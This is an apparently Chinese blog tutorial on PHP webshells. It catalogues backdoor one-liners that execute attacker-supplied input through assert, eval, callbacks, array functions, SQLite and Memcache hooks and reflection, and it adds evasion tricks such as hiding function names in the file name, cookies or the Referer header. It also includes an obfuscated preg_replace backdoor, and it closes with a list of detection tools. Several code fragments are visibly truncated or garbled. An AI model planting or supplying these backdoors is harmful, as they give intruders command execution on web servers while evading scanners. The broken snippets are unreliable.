一、webshell简介
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
二、webshell分类
1、eval
接受一个参数,将字符串作为PHP代码执行
eval($_POST[1]);
2、assert
一般接受一个参数,php 5.4.8版本后可以接受两个参数
assert($_REQUEST[l])
3、正则匹配类
preg_replace/ mb_ereg_replace/preg_filter等
4、文件包含类
include/include_once/require/require_once/file_get_contents
5、回调函数
call_user_func
call_user_func('assert', $_REQUEST['pass']);
//或者
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e))
三、webshell变种
assert 和 eval 基本上都被用烂了,分分钟就被检查出来了,所以网上有很多种变种,可以做后门的函数一般包含以下几个关键词:1、 callable 2、mixed $options 3、callback 4、handler
下面是具体的变种,更具隐蔽性
1、无明显回调
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
2、单个参数
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
或者
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
或者
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。
3、回调函数
call_user_func('assert', $_REQUEST['pass']);
call_user_func_array('assert', array($_REQUEST['pass']));
或者
4、数组
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e))
或者
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
或者
$pass= "LandGrey";
array_udiff_assoc(array($_REQUEST[$pass]), array(1), "assert");
或者
$pass= "LandGrey";
$ch = explode(".","hello.ass.world.er.t");
array_intersect_ukey(array($_REQUEST[$pass] => 1), array(1), $ch[1].$ch[3].$ch[4]);
或者
$_clasc = $_REQUEST['mod'];
$arr = array($_POST['bato'] => '|.*|e',);
@array_walk_recursive($arr, $_clasc, '');
5、把部分信息放在代码以外
比如:脚本名称、header 中
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $key."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
将脚本命名为scanner.php, 硬编码脚本最后一位字符为"r",就不会被平台检测到
或者
$password = "LandGrey";
$ch = $_COOKIE["set-domain-name"];
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");
Cookie: set-domain-name=ass;
或者
$password = "LandGrey";
$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);
forward_static_call_array($wx."ert", array($_REQUEST[$password]));
Referer: http%3a//www.target.com/ass.php
6、数据库操作与第三方库中的回调后门
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert
$str = urlencode($_REQUEST['pass']);
$yaml = << 'preg_replace'));
上面是使用php_yaml
$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);
还有php_memcached
7、反射
getDocComment();
$payload = substr($str,strpos($str,'ev'),3);
$payload .= substr($str,strpos($str,'l('),7);
$payload .= substr($str,strpos($str,'T['),8);
$exe = substr($str, strpos($str, 'as'), 4);
$exe .= substr($str, strpos($str, 'rt'), 2);
$exe($payload);
?>
四、隐藏关键词
1、混淆
或者
1000000){
die('404');
}
if (isset($_POST["\x70\x61\x73\x73"]) && isset($_POST["\x63\x68\x65\x63\x6b"]))
{
$__PHP_debug = array (
'ZendName' => '70,61,73,73',
'ZendPort' => '63,68,65,63,6b',
'ZendSalt' => '792e19812fafd57c7ac150af768d95ce'
);
$__PHP_replace = array (
pack('H*', join('', explode(',', $__PHP_debug['ZendName']))),
pack('H*', join('', explode(',', $__PHP_debug['ZendPort']))),
$__PHP_debug['ZendSalt']
);
$__PHP_request = &$_POST;
$__PHP_token = md5($__PHP_request[$__PHP_replace[0]]);
if ($__PHP_token == $__PHP_replace[2])
{
$__PHP_token = preg_replace (
chr(47).$__PHP_token.chr(47).chr(101),
$__PHP_request[$__PHP_replace[1]],
$__PHP_token
);
unset (
$__PHP_debug,
$__PHP_replace,
$__PHP_request,
$__PHP_token
);
if(!defined('_DEBUG_TOKEN')) exit ('Get token fail!');
}
}
2、反引号
3、XOR
4、加号
5、函数
6、chr
7、session_set_save_handler
8、引号
9、加密
这里不再介绍了
五、种马之后
由于被入侵过,对之前的文件有过研究,截几张图大家看看
基本上就可以为所欲为了
六、检测工具
编号 | 名称 | 参考链接 |
---|---|---|
1 | 网站安全狗网马查杀 | http://download.safedog.cn/download/software/safedogwzApache.exe |
2 | D盾 Web查杀 | http://www.d99net.net/down/WebShellKill_V2.0.9.zip |
3 | 深信服WebShellKillerTool | http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip |
4 | BugScaner killwebshell | http://tools.bugscaner.com/killwebshell/ |
5 | 河马专业版查杀Webshell | http://n.shellpub.com/ |
6 | OpenRASPWEBDIR+检测引擎 | https://scanner.baidu.com |
7 | 深度学习模型检测PHP Webshell | http://webshell.cdxy.me/ |
上面工具非常好用,95%的基本都能检测出来,知道webshell是什么样的,就可以根据相应的特征找出来
参考文档
http://php.net/manual
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
https://joychou.org/web/webshell.html
http://www.likesec.com/2017/12/08/webshell/
http://blog.safedog.cn/?p=68
http://www.freebuf.com/articles/web/155891.html
http://www.freebuf.com/articles/web/9396.html
https://blog.csdn.net/xysoul/article/details/49791993
https://cloud.tencent.com/developer/article/1097506
http://www.91ri.org/12824.html
http://www.3years.cc/index.php/archives/18/
http://www.cnblogs.com/LittleHann/p/3522990.html
https://habrahabr.ru/post/215139/
https://stackoverflow.com/questions/14674834/php-convert-string-to-hex-and-hex-to-string
https://xz.aliyun.com/t/2335